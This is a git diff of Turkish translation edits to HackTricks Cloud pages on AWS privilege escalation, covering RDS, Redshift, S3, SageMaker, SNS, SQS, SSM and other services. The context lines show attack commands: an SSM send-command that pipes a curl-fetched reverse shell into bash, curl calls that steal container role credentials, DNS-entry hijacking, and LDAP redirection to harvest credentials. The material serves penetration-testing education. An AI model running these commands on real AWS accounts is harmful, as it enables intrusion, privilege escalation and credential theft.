Bu izne sahip bir saldırgan, alt alan adı oluşturabilir ve bunu kendi IP adresine yönlendirebilir (alt alan adı ele geçirme), ya da alan adından e-postaları sahtelemek için bir SPF kaydı oluşturabilir, hatta ana alan adını kendi IP adresine ayarlayabilir.
```bash
aws lightsail create-domain-entry \
--domain-name example.com \
@@ -125,7 +125,7 @@ aws lightsail create-domain-entry \
### `lightsail:UpdateDomainEntry`
Bu izne sahip bir saldırgan, alt alan adı oluşturabilir ve bunu kendi IP adresine yönlendirebilir (alt alan adı ele geçirme), ya da alan adından e-postaları sahtelemek için bir SPF kaydı oluşturabilir, hatta ana alan adını kendi IP adresine ayarlayabilir.
Bu izne sahip bir saldırgan, alt alan adı oluşturabilir ve bunu kendi IP adresine yönlendirebilir (alt alan adı ele geçirme), ya da alan adından e-posta sahteciliği yapmasına olanak tanıyan bir SPF kaydı oluşturabilir, hatta ana alan adını kendi IP adresine ayarlayabilir.
```bash
aws lightsail update-domain-entry \
--domain-name example.com \

View File

@@ -4,13 +4,13 @@
### `mediapackage:RotateChannelCredentials`
Kanalın ilk IngestEndpoint'inin kullanıcı adını ve şifresini değiştirir. (Bu API RotateIngestEndpointCredentials için kullanımdan kaldırılmıştır)
Channel'ın ilk IngestEndpoint'inin kullanıcı adını ve şifresini değiştirir. (Bu API, RotateIngestEndpointCredentials için kullanımdan kaldırılmıştır)
```bash
aws mediapackage rotate-channel-credentials --id <value>
```
### `mediapackage:RotateIngestEndpointCredentials`
Channel'ın ilk IngestEndpoint'unun kullanıcı adını ve şifresini değiştirir. (Bu API, RotateIngestEndpointCredentials için kullanımdan kaldırılmıştır)
Kanalın ilk IngestEndpoint'inin kullanıcı adını ve şifresini değiştirir. (Bu API, RotateIngestEndpointCredentials için kullanımdan kaldırılmıştır)
```bash
aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63
```

View File

@@ -17,11 +17,11 @@ Bu izinlerle **bir ActimeMQ broker'ında yeni bir kullanıcı oluşturabilirsini
aws mq list-brokers
aws mq create-user --broker-id <value> --console-access --password <value> --username <value>
```
**Potansiyel Etki:** ActiveMQ üzerinden hassas bilgilere erişim
**Olası Etki:** ActiveMQ üzerinden hassas bilgilere erişim
### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser`
Bu izinlerle **ActiveMQ broker'ında yeni bir kullanıcı oluşturabilirsiniz** (bu RabbitMQ'da çalışmaz):
Bu izinlerle **bir ActiveMQ broker'ında yeni bir kullanıcı oluşturabilirsiniz** (bu RabbitMQ'da çalışmaz):
```bash
aws mq list-brokers
aws mq list-users --broker-id <value>
@@ -31,13 +31,13 @@ aws mq update-user --broker-id <value> --console-access --password <value> --use
### `mq:ListBrokers`, `mq:UpdateBroker`
Eğer bir broker **ActiveMQ** ile yetkilendirme için **LDAP** kullanıyorsa, **saldırgan tarafından kontrol edilen** bir **LDAP sunucusunun yapılandırmasını değiştirmek** mümkündür. Bu şekilde saldırgan, **LDAP üzerinden gönderilen tüm kimlik bilgilerini çalabilir**.
Eğer bir broker **ActiveMQ** ile yetkilendirme için **LDAP** kullanıyorsa, **saldırgan tarafından kontrol edilen** **LDAP sunucusunun** **konfigürasyonunu değiştirmek** mümkündür. Bu şekilde saldırgan, **LDAP üzerinden gönderilen tüm kimlik bilgilerini çalabilir**.
```bash
aws mq list-brokers
aws mq update-broker --broker-id <value> --ldap-server-metadata=...
```
Eğer bir şekilde ActiveMQ tarafından kullanılan orijinal kimlik bilgilerini bulabilirseniz, bir MitM gerçekleştirebilir, kimlik bilgilerini çalabilir, bunları orijinal sunucuda kullanabilir ve yanıtı gönderebilirsiniz (belki sadece çalınan kimlik bilgilerini yeniden kullanarak bunu yapabilirsiniz).
Eğer ActiveMQ tarafından kullanılan orijinal kimlik bilgilerini bir şekilde bulabilirseniz, bir MitM gerçekleştirebilir, kimlik bilgilerini çalabilir, bunları orijinal sunucuda kullanabilir ve yanıtı gönderebilirsiniz (belki sadece çalınan kimlik bilgilerini yeniden kullanarak bunu yapabilirsiniz).
**Potansiyel Etki:** ActiveMQ kimlik bilgilerini çalmak
**Olası Etki:** ActiveMQ kimlik bilgilerini çalmak
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -16,7 +16,7 @@ Bu **yetkiler** ve **kafka brokerlarının bulunduğu VPC'ye erişim ile**, onla
```bash
aws msk --client-authentication <value> --cluster-arn <value> --current-version <value>
```
VPC'ye erişiminiz olmalı çünkü **Kafka'yı kamuya açık bir şekilde None kimlik doğrulaması ile etkinleştiremezsiniz**. Eğer kamuya açıksa, eğer **SASL/SCRAM** kimlik doğrulaması kullanılıyorsa, **gizli anahtarı** okuyabilirsiniz (gizli anahtarı okumak için ek ayrıcalıklara ihtiyacınız olacak).\
VPC'ye erişiminiz olmalı çünkü **Kafka'yı kamuya açık bir şekilde None kimlik doğrulaması ile etkinleştiremezsiniz**. Eğer kamuya açıksa, **SASL/SCRAM** kimlik doğrulaması kullanılıyorsa, **gizli anahtarı** okumak için erişim sağlayabilirsiniz (gizli anahtarı okumak için ek ayrıcalıklara ihtiyacınız olacak).\
Eğer **IAM rol tabanlı kimlik doğrulaması** kullanılıyorsa ve **kafka kamuya açık bir şekilde** maruz kalıyorsa, bu ayrıcalıkları kötüye kullanarak erişim izinleri alabilirsiniz.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,8 +1,8 @@
# AWS - Organizations Privesc
# AWS - Organizasyonlar Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Organizations
## Organizasyonlar
Daha fazla bilgi için kontrol edin:
@@ -13,6 +13,6 @@ Daha fazla bilgi için kontrol edin:
## Yönetim Hesabından Çocuk Hesaplara
Eğer root/yönetim hesabını ele geçirirseniz, tüm çocuk hesapları ele geçirme şansınız vardır.\
[**Bu sayfayı kontrol ederek öğrenin**](../#compromising-the-organization).
[**Bunu nasıl öğrenirsiniz bu sayfaya bakın**](../#compromising-the-organization).
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -27,7 +27,7 @@ aws rds modify-db-instance \
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
```
> [!WARNING]
> Veritabanı ile **iletişim kurabilmeniz** gerekecek (genellikle yalnızca iç ağlardan erişilebilirler).
> Veritabanına **ulaşabilmeniz** gerekecek (genellikle yalnızca iç ağlardan erişilebilirler).
**Olası Etki:** Veritabanlarında hassas bilgileri bulmak.
@@ -40,17 +40,17 @@ psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
#### Postgresql (Aurora)
> [!TIP]
> **`SELECT datname FROM pg_database;`** komutunu çalıştırdığınızda **`rdsadmin`** adında bir veritabanı bulursanız, bir **AWS postgresql veritabanı** içinde olduğunuzu bilirsiniz.
> **`SELECT datname FROM pg_database;`** komutunu çalıştırdığınızda **`rdsadmin`** adında bir veritabanı bulursanız, bir **AWS postgresql veritabanası** içinde olduğunuzu bilirsiniz.
Öncelikle bu veritabanının başka bir AWS hizmetine erişim için kullanılıp kullanılmadığını kontrol edebilirsiniz. Bunu, kurulu uzantılara bakarak kontrol edebilirsiniz:
```sql
SELECT * FROM pg_extension;
```
Eğer **`aws_s3`** gibi bir şey bulursanız, bu veritabanının **S3 üzerinde bir tür erişime sahip olduğunu** varsayabilirsiniz (diğer uzantılar **`aws_ml`** ve **`aws_lambda`** gibi).
Eğer **`aws_s3`** gibi bir şey bulursanız, bu veritabanının **S3 üzerinde bir tür erişime sahip olduğunu** varsayabilirsiniz (diğer uzantılar **`aws_ml`** ve **`aws_lambda`** gibi uzantılar da vardır).
Ayrıca, **`aws rds describe-db-clusters`** komutunu çalıştırma izinleriniz varsa, **`AssociatedRoles`** alanında **kümenin herhangi bir IAM Rolü ile ilişkilendirilip ilişkilendirilmediğini** görebilirsiniz. Varsa, veritabanının **diğer AWS hizmetlerine erişim için hazırlandığını** varsayabilirsiniz. **Rolün adı** (veya rolün **izinlerini** alabiliyorsanız) temelinde, veritabanının ne tür ek erişime sahip olduğunu **tahmin edebilirsiniz**.
Ayrıca, **`aws rds describe-db-clusters`** komutunu çalıştırma izinleriniz varsa, **`AssociatedRoles`** alanında **kümenin herhangi bir IAM Rolü ile ilişkilendirilip ilişkilendirilmediğini** görebilirsiniz. Eğer varsa, veritabanının **diğer AWS hizmetlerine erişim için hazırlandığını** varsayabilirsiniz. **Rolün adı** (veya rolün **izinlerini** alabiliyorsanız) temelinde, veritabanının ne tür ek erişimlere sahip olduğunu **tahmin edebilirsiniz**.
Artık, **bir bucket içindeki bir dosyayı okumak için** tam yolu bilmeniz gerekiyor. Bunu şu şekilde okuyabilirsiniz:
Artık, bir **bucket** içindeki bir dosyayı **okumak için** tam yolu bilmeniz gerekiyor. Bunu şu şekilde okuyabilirsiniz:
```sql
// Create table
CREATE TABLE ttemp (col TEXT);
@@ -80,14 +80,14 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
```
> [!NOTE]
> Postgresql **S3'e erişebilmek için herhangi bir parametre grubu değişkenini değiştirmeye ihtiyaç duymaz**.
> Postgresql **herhangi bir parametre grubu değişkenini değiştirmeye ihtiyaç duymuyor** S3'e erişebilmek için.
#### Mysql (Aurora)
> [!TIP]
> Bir mysql içinde, **`SELECT User, Host FROM mysql.user;`** sorgusunu çalıştırırsanız ve **`rdsadmin`** adında bir kullanıcı varsa, **AWS RDS mysql db** içinde olduğunuzu varsayabilirsiniz.
Mysql içinde **`show variables;`** komutunu çalıştırın ve **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** gibi değişkenlerin değerleri varsa, veritabanasının S3 verilerine erişmeye hazır olduğunu varsayabilirsiniz.
Mysql içinde **`show variables;`** komutunu çalıştırın ve **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** gibi değişkenlerin değerleri varsa, veritabanının S3 verilerine erişmeye hazır olduğunu varsayabilirsiniz.
Ayrıca, **`aws rds describe-db-clusters`** komutunu çalıştırma izniniz varsa, kümenin herhangi bir **ilişkili rolü** olup olmadığını kontrol edebilirsiniz; bu genellikle AWS hizmetlerine erişim anlamına gelir.
@@ -100,16 +100,16 @@ DROP TABLE ttemp;
```
### `rds:AddRoleToDBCluster`, `iam:PassRole`
`rds:AddRoleToDBCluster` ve `iam:PassRole` izinlerine sahip bir saldırgan, **mevcut bir RDS örneğine belirli bir rol ekleyebilir**. Bu, saldırgana **hassas verilere erişim sağlama** veya örnekteki verileri değiştirme imkanı verebilir.
`rds:AddRoleToDBCluster` ve `iam:PassRole` izinlerine sahip bir saldırgan, **mevcut bir RDS örneğine belirli bir rol ekleyebilir**. Bu, saldırgana **hassas verilere erişim** sağlama veya örnekteki verileri değiştirme imkanı verebilir.
```bash
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
```
**Potansiyel Etki**: RDS örneğindeki hassas verilere erişim veya verilere yetkisiz değişiklikler.\
Bazı DB'lerin, parametre gruplarında rol ARN'sinin belirtilmesi gibi ek yapılandırmalara ihtiyaç duyduğunu unutmayın.
**Olası Etki**: RDS örneğindeki hassas verilere erişim veya verilere yetkisiz değişiklikler.\
Bazı DB'lerin, Mysql gibi, parametre gruplarında rol ARN'sinin belirtilmesi gibi ek yapılandırmalara ihtiyaç duyduğunu unutmayın.
### `rds:CreateDBInstance`
Bu izinle bir saldırgan, zaten var olan ve bir **IAM rolü** eklenmiş bir **küme içinde yeni bir örnek** oluşturabilir. Ana kullanıcı şifresini değiştiremeyecek, ancak yeni veritabanı örneğini internete açma olanağına sahip olabilir:
Sadece bu izinle bir saldırgan, zaten var olan ve bir **IAM rolü** eklenmiş bir **küme içinde yeni bir örnek** oluşturabilir. Ana kullanıcı şifresini değiştiremeyecek, ancak yeni veritabanı örneğini internete açma olanağına sahip olabilir:
```bash
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
@@ -130,12 +130,12 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \
> Eklemek için rol/örnek profili ile ilgili bazı gereksinimler ( [**buradan**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html) ):
> - Profil hesabınızda mevcut olmalıdır.
> - Profilin, Amazon EC2'nin üstlenme iznine sahip olduğu bir IAM rolü olmalıdır.
> - Profilin, Amazon EC2'nin üstlenme izinlerine sahip bir IAM rolü olmalıdır.
> - Örnek profil adı ve ilişkili IAM rol adı `AWSRDSCustom` ön eki ile başlamalıdır.
```bash
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
```
**Potansiyel Etki**: RDS örneğindeki hassas verilere erişim veya verilere yetkisiz değişiklikler.
**Olası Etki**: RDS örneğindeki hassas verilere erişim veya verilere yetkisiz değişiklikler.
### `rds:AddRoleToDBInstance`, `iam:PassRole`

View File

@@ -19,7 +19,7 @@ aws redshift get-cluster-credentials --db-user postgres --cluster-identifier red
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439
```
**Potansiyel Etki:** Veritabanlarında hassas bilgileri bulma.
**Olası Etki:** Veritabanlarında hassas bilgileri bulma.
### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM`
@@ -31,11 +31,11 @@ aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-clus
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
```
**Olası Etki:** Veritabanlarının içinde hassas bilgileri bulmak.
**Olası Etki:** Veritabanlarında hassas bilgileri bulmak.
### `redshift:DescribeClusters`, `redshift:ModifyCluster?`
Aws cli üzerinden iç postgres (redshit) kullanıcısının **ana şifresini değiştirmek** mümkündür (bence ihtiyaç duyduğunuz izinler bunlar ama henüz test etmedim):
AWS CLI üzerinden iç postgres (redshit) kullanıcısının **ana şifresini değiştirmek** mümkündür (bunun için gerekli izinler olduğunu düşünüyorum ama henüz test etmedim):
```
aws redshift modify-cluster cluster-identifier <identifier-for-the cluster> master-user-password master-password;
```
@@ -44,13 +44,13 @@ aws redshift modify-cluster cluster-identifier <identifier-for-the cluster>
## Harici Servislere Erişim
> [!WARNING]
> Aşağıdaki tüm kaynaklara erişmek için **kullanılacak rolü belirtmeniz** gerekecek. Bir Redshift kümesi **kullanabileceğiniz bir AWS rolü listesine sahip olabilir** **eğer ARN'yi biliyorsanız** ya da sadece "**default**" ayarlayarak atanan varsayılanı kullanabilirsiniz.
> Aşağıdaki tüm kaynaklara erişmek için **kullanılacak rolü belirtmeniz** gerekecek. Bir Redshift kümesi **kullanabileceğiniz bir AWS rolü listesi atayabilir** **eğer ARN'yi biliyorsanız** veya sadece atanan varsayılanı kullanmak için "**default**" ayarlayabilirsiniz.
> Ayrıca, [**burada açıklandığı gibi**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift, daha fazla erişim elde etmek için rolleri birleştirmeye de izin verir (ilk rol ikinci rolü üstlenebiliyorsa) ancak sadece **virgülle** **ayırarak**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`
### Lambdas
### Lambdalar
[https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html) adresinde açıklandığı gibi, Redshift'ten **bir lambda fonksiyonunu çağırmak** mümkündür:
[https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html) adresinde açıklandığı gibi, Redshift'ten bir lambda fonksiyonunu **çağırmak mümkündür**:
```sql
CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
@@ -60,7 +60,7 @@ IAM_ROLE default;
```
### S3
[https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html) adresinde açıklandığı gibi, **S3 bucket'larına okuma ve yazma yapmak mümkündür**:
[https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html) adresinde açıklandığı gibi, **S3 bucket'larına okuma ve yazma** yapmak mümkündür:
```sql
# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'

View File

@@ -34,7 +34,7 @@
]
}
```
Ve ele geçirme, **şablonun yüklendiği andan** **şablonun dağıtıldığı ana** kadar olan **küçük bir zaman penceresi** olduğu için mümkündür. Bir saldırgan, hesabında **bir lambda fonksiyonu** oluşturabilir ve bu fonksiyon **bir bucket bildirimi gönderildiğinde tetiklenecek** ve **o bucket'ın içeriğini ele geçirecektir**.
Ve ele geçirme, **şablonun yüklenmesi anından** **şablonun dağıtılması anına** kadar olan **küçük bir zaman penceresi** olduğu için mümkündür. Bir saldırgan, hesabında **bir lambda fonksiyonu** oluşturabilir ve bu fonksiyon **bir bucket bildirimi gönderildiğinde tetiklenir** ve **o bucket'ın** **içeriğini ele geçirir**.
![](<../../../images/image (174).png>)
@@ -45,14 +45,14 @@ Daha fazla bilgi için orijinal araştırmaya bakın: [https://rhinosecuritylabs
Bunlar **S3'e nesne yüklemek ve almak için** gereken izinlerdir. AWS içindeki (ve dışındaki) çeşitli hizmetler, **konfigürasyon dosyalarını** depolamak için S3 depolamasını kullanır.\
Onlara **okuma erişimi** olan bir saldırgan, üzerinde **hassas bilgiler** bulabilir.\
Onlara **yazma erişimi** olan bir saldırgan, **verileri değiştirerek bazı hizmetleri kötüye kullanabilir ve ayrıcalıkları artırmaya çalışabilir**.\
Onlara **yazma erişimi** olan bir saldırgan, **verileri değiştirebilir, bazı hizmetleri kötüye kullanabilir ve ayrıcalıkları artırmaya çalışabilir**.\
Bunlar bazı örneklerdir:
- Eğer bir EC2 örneği **kullanıcı verilerini bir S3 bucket'ında** depoluyorsa, bir saldırgan bunu **EC2 örneği içinde rastgele kod çalıştırmak için değiştirebilir**.
### `s3:PutBucketPolicy`
Aynı hesapta olması gereken bir saldırgan, aksi takdirde `Belirtilen yöntem izin verilmedi` hatası tetiklenecektir, bu izinle bucket'lar üzerinde daha fazla izin verebilir, böylece bucket'ları okuma, yazma, değiştirme, silme ve ifşa etme yetkisine sahip olacaktır.
Aynı hesapta olması gereken bir saldırgan, aksi takdirde `Belirtilen yöntem izin verilmedi` hatası tetiklenecektir, bu izinle kendisine bucket'lar üzerinde daha fazla izin verebilir, böylece bucket'ları okuma, yazma, değiştirme, silme ve ifşa etme yetkisi kazanır.
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
@@ -110,7 +110,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
```
### `s3:GetBucketAcl`, `s3:PutBucketAcl`
Bir saldırgan, bu izinleri **belirli kovalar üzerinde daha fazla erişim sağlamak için** kötüye kullanabilir.\
Bir saldırgan, bu izinleri **belirli kovalar üzerinde daha fazla erişim sağlamak** için kötüye kullanabilir.\
Saldırganın aynı hesapta olması gerekmediğini unutmayın. Ayrıca yazma erişimi
```bash
# Update bucket ACL
@@ -138,7 +138,7 @@ aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://a
```
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
Bir saldırgan, bu izinleri kullanarak kendisine belirli nesneler üzerinde daha fazla erişim sağlayabilir.
Bir saldırgan, bu izinleri kullanarak kendisine belirli nesneler üzerinde daha fazla erişim sağlamak için kötüye kullanabilir.
```bash
# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag

View File

@@ -4,7 +4,7 @@
{{#include ../../../banners/hacktricks-training.md}}
### `iam:PassRole`, `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
Bağlı olduğu IAM Rolü ile bir not defteri oluşturmaya başlayın:
```bash
@@ -17,11 +17,11 @@ Yanıt, yeni oluşturulan defter örneğinin ARN'sini içerecek `NotebookInstanc
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
```
Tarayıcı ile URL'ye gidin ve sağ üstteki \`Open JupyterLab\`'a tıklayın, ardından “Launcher” sekmesine kaydırın ve “Other” bölümünde “Terminal” butonuna tıklayın.
Tarayıcı ile URL'ye gidin ve sağ üstteki \`Open JupyterLab\`\` butonuna tıklayın, ardından “Launcher” sekmesine kaydırın ve “Other” bölümünde “Terminal” butonuna tıklayın.
Artık IAM Rolünün metadata kimlik bilgilerine erişmek mümkündür.
**Potansiyel Etki:** Belirtilen sagemaker hizmet rolüne privesc.
**Olası Etki:** Belirtilen sagemaker hizmet rolüne privesc.
### `sagemaker:CreatePresignedNotebookInstanceUrl`
@@ -29,11 +29,11 @@ Eğer üzerinde Jupyter **notebook'ları zaten çalışıyorsa** ve bunları `sa
```bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
```
**Potansiyel Etki:** Sagemaker hizmet rolüne privesc.
**Olası Etki:** Sagemaker hizmet rolüne privesc.
### `sagemaker:CreateProcessingJob,iam:PassRole`
Bu izinlere sahip bir saldırgan, **sagemaker'ın bir processingjob** çalıştırmasını sağlayabilir ve buna bir sagemaker rolü ekleyebilir. Saldırgan, **AWS yönetimli ECS hesap örneğinde** çalıştırılacak konteynerin tanımını belirtebilir ve **ekli IAM rolünün kimlik bilgilerini çalabilir**.
Bu izinlere sahip bir saldırgan, **sagemaker'ın bir processingjob** yürütmesini sağlayabilir ve buna bir sagemaker rolü ekleyebilir. Saldırgan, **AWS yönetilen ECS hesap örneğinde** çalıştırılacak konteynerin tanımını belirtebilir ve **ekli IAM rolünün kimlik bilgilerini çalabilir**.
```bash
# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
@@ -49,13 +49,13 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
Bu izinlere sahip bir saldırgan, **üzerinde bir rol ekli olan rastgele bir konteyner** çalıştırarak bir eğitim işi oluşturabilecektir. Bu nedenle, saldırgan rolün kimlik bilgilerini çalabilecektir.
Bu izinlere sahip bir saldırgan, bir eğitim işi oluşturabilecek, **üzerinde rastgele bir konteyner çalıştırarak** ona **bir rol ekleyebilecektir**. Bu nedenle, saldırgan rolün kimlik bilgilerini çalabilecektir.
> [!WARNING]
> Bu senaryo, önceki senaryodan daha zor bir şekilde istismar edilebilir çünkü rev shell veya kimlik bilgilerini doğrudan saldırgana gönderecek bir Docker imajı oluşturmanız gerekiyor (eğitim işinin yapılandırmasında bir başlangıç komutu belirtemezsiniz).
> Bu senaryo, önceki senaryoya göre daha zor bir şekilde istismar edilebilir çünkü bir Docker görüntüsü oluşturmanız gerekiyor ve bu görüntü rev shell veya kimlik bilgilerini doğrudan saldırgana göndermelidir (eğitim işinin yapılandırmasında bir başlangıç komutu belirtemezsiniz).
>
> ```bash
> # Docker imajı oluştur
> # Docker görüntüsü oluştur
> mkdir /tmp/rev
> ## Eğitim işi "train" adlı bir çalıştırılabilir dosyayı çağıracak
> ## Bu yüzden rev shell'i /bin/train içine koyuyorum
@@ -94,7 +94,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
Bu izinlere sahip bir saldırgan, **bir hiperparametre eğitim işi** oluşturma yeteneğine (potansiyel olarak) sahip olacak, üzerinde **rol eklenmiş** bir **rastgele konteyner** çalıştırabilecektir.\
Bu izinlere sahip bir saldırgan, **bir hyperparameter eğitim işi** oluşturma yeteneğine (potansiyel olarak) sahip olacak, **üzerinde rastgele bir konteyner** çalıştırarak ona **bir rol ekleyerek**.\
&#xNAN;_&#x49; zaman eksikliği nedeniyle istismar etmedim, ancak önceki istismarlarla benzer görünüyor, istismar detaylarıyla bir PR göndermekten çekinmeyin._
## Referanslar

View File

@@ -16,22 +16,22 @@ Bir saldırgan, SNS konusuna kötü niyetli veya istenmeyen mesajlar gönderebil
```bash
aws sns publish --topic-arn <value> --message <value>
```
**Potansiyel Etki**: Açık istismarı, Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi.
**Olası Etki**: Açık istismarı, Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi.
### `sns:Subscribe`
Bir saldırgan, bir SNS konusuna abone olabilir ve bu da potansiyel olarak mesajlara yetkisiz erişim kazanmasına veya konuyu kullanan uygulamaların normal işleyişini bozmasına neden olabilir.
Bir saldırgan, bir SNS konusuna abone olabilir ve bu da mesajlara yetkisiz erişim kazanmasına veya konuyu kullanan uygulamaların normal işleyişini bozmasına neden olabilir.
```bash
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
```
**Potansiyel Etki**: Mesajlara (hassas bilgi) yetkisiz erişim, etkilenen konuya bağlı uygulamalar için hizmet kesintisi.
**Olası Etki**: Mesajlara (hassas bilgi) yetkisiz erişim, etkilenen konuya bağlı uygulamalar için hizmet kesintisi.
### `sns:AddPermission`
Bir saldırgan, yetkisiz kullanıcılara veya hizmetlere bir SNS konusuna erişim verebilir ve potansiyel olarak daha fazla izin elde edebilir.
Bir saldırgan, yetkisiz kullanıcılara veya hizmetlere bir SNS konusuna erişim izni verebilir ve potansiyel olarak daha fazla izin elde edebilir.
```css
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
```
**Potansiyel Etki**: Yetkisiz kullanıcılar veya hizmetler tarafından konuya yetkisiz erişim, mesajların ifşası veya konunun manipülasyonu, konuya bağlı uygulamaların normal işleyişinin kesintiye uğraması.
**Olası Etki**: Yetkisiz kullanıcılar veya hizmetler tarafından konuya yetkisiz erişim, mesajların ifşası veya konunun manipülasyonu, konuya bağlı uygulamaların normal işleyişinin kesintiye uğraması.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -25,11 +25,11 @@ Bir saldırgan, SQS kuyruğuna kötü niyetli veya istenmeyen mesajlar göndereb
aws sqs send-message --queue-url <value> --message-body <value>
aws sqs send-message-batch --queue-url <value> --entries <value>
```
**Potansiyel Etki**: Açıkların istismarı, Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi.
**Olası Etki**: Açık istismarı, Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi.
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
Bir saldırgan, bir SQS kuyruğundaki mesajları alabilir, silebilir veya görünürlüklerini değiştirebilir, bu da mesaj kaybına, veri bozulmasına veya bu mesajlara bağımlı uygulamalar için hizmet kesintisine neden olabilir.
Bir saldırgan, bir SQS kuyruğundaki mesajları alabilir, silebilir veya görünürlüğünü değiştirebilir, bu da mesaj kaybına, veri bozulmasına veya bu mesajlara bağımlı uygulamalar için hizmet kesintisine neden olabilir.
```bash
aws sqs receive-message --queue-url <value>
aws sqs delete-message --queue-url <value> --receipt-handle <value>

View File

@@ -12,7 +12,7 @@ SSM hakkında daha fazla bilgi için kontrol edin:
### `ssm:SendCommand`
**`ssm:SendCommand`** iznine sahip bir saldırgan, **Amazon SSM Agent'ı çalıştıran örneklerde komutlar çalıştırabilir** ve **içinde çalışan IAM Rolünü tehlikeye atabilir.**
**`ssm:SendCommand`** iznine sahip bir saldırgan, Amazon SSM Agent'ı çalıştıran örneklerde **komutları çalıştırabilir** ve içindeki **IAM Rolünü tehlikeye atabilir.**
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -31,7 +31,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
```
**Potansiyel Etki:** SSM Agent'ları çalışan örneklere bağlı EC2 IAM rollerine doğrudan yetki yükseltme.
**Olası Etki:** SSM Agent'ları çalışan örneklere bağlı EC2 IAM rollerine doğrudan yetki yükseltme.
### `ssm:StartSession`
@@ -53,7 +53,7 @@ aws ssm start-session --target "$INSTANCE_ID"
**ECS görevleri** **`ExecuteCommand` etkinleştirildiğinde** yeterli izinlere sahip kullanıcılar `ecs execute-command` kullanarak **bir komut çalıştırabilirler** konteyner içinde.\
[**belgelere göre**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) bu, “_exec_” komutunu başlatmak için kullandığınız cihaz ile SSM Session Manager ile hedef konteyner arasında güvenli bir kanal oluşturarak yapılır. (Bunun çalışması için SSM Session Manager Plugin gereklidir)\
Bu nedenle, `ssm:StartSession` iznine sahip kullanıcılar, o seçenek etkinleştirildiğinde **ECS görevleri içinde bir shell alabileceklerdir** sadece şunu çalıştırarak:
Bu nedenle, `ssm:StartSession` olan kullanıcılar, bu seçenek etkinleştirildiğinde **ECS görevleri içinde bir shell alabileceklerdir** sadece şunu çalıştırarak:
```bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
```
@@ -72,11 +72,11 @@ aws ssm describe-sessions
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
```
